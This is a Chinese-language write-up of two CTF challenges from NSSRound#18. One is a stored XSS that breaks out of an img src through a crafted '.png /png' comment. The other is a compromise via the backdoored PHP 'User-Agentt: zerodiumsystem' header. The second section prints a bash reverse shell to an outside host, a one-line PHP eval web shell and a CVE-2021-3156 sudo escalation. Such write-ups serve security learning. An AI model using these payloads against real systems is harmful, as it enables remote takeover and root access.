0%

NSSRound#18 Basic

session伪造、perl_startup提权

门酱想玩什么呢?

打开题目,加载完视频后要求我们给个游戏链接

点开评论区不难发现应该是想玩元梦之星,这里有个评论功能可以上传图片

我们随便输入点东西发现是插入并赋值到content元素里面

猜测是存储型xss,我们去看看hint访问下/nssctfroundSpring.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
$urlParts = parse_url($matches[0]);
if ($urlParts !== false) {
echo '<img class="content" src="' . $matches[0] . '">';
//.......
}
//......
}
//......
}

大概就是对评论的图片链接格式的过滤

我们要跳转到元梦之星用到location去跳转,最基础的payload

1
<script>document.location="https://ymzx.qq.com"</script>

然后按照上文的匹配条件修改一下以及闭合前面的<",最终构如下

1
http://"><script>document.location="https://ymzx.qq.com"</script>.png /png

成功跳转元梦之星

然后就是如何给门酱一个链接

也就是说需要门酱自己网站的链接去跳转,由于我们通过xss语句已经插入到img的src中实现跳转到元梦之星

所以我们只需要抓包跳转时的界面,就可以得到门酱跳转时的请求参数值

拼接上题目路径即可

1
http://node4.anna.nssctf.cn:28757/words/?title=cmV2MXZl&content=aHR0cCUzQSUyRiUyRiUyMiUzRSUzQ3NjcmlwdCUzRWRvY3VtZW50LmxvY2F0aW9uJTNEJTIyaHR0cHMlM0ElMkYlMkZ5bXp4LnFxLmNvbSUyMiUzQyUyRnNjcmlwdCUzRS5wbmclMjAlMkZwbmc%3D

得到flag

Becomeroot

打开题目提示在/root里面,应该是最后要提权

按照提示和php开发仓库入侵有关,搜出来刚好是对应题目php版本,可以利用User-Agentt头来命令执行 参考文章

我们bp抓包,构造如下

1
User-Agentt: zerodiumsystem("bash -c 'bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'");

反弹成功,接下来尝试sh脚本提权发现不行

提示说和sudo提权有关,刚刚试了sudo -l -S是需要密码的所以肯定是存在提权漏洞

搜出来CVE-2021-3156

nc连接的靶机上传脚本比较麻烦,所以我们写马利用蚁剑上传

1
User-Agentt: zerodiumsystem("echo '<?php eval(\$_POST[1]);?>'>/var/www/html/shell.php");

漏洞exp利用链接

上传成功

然后再nc连接,成功提权

得到flag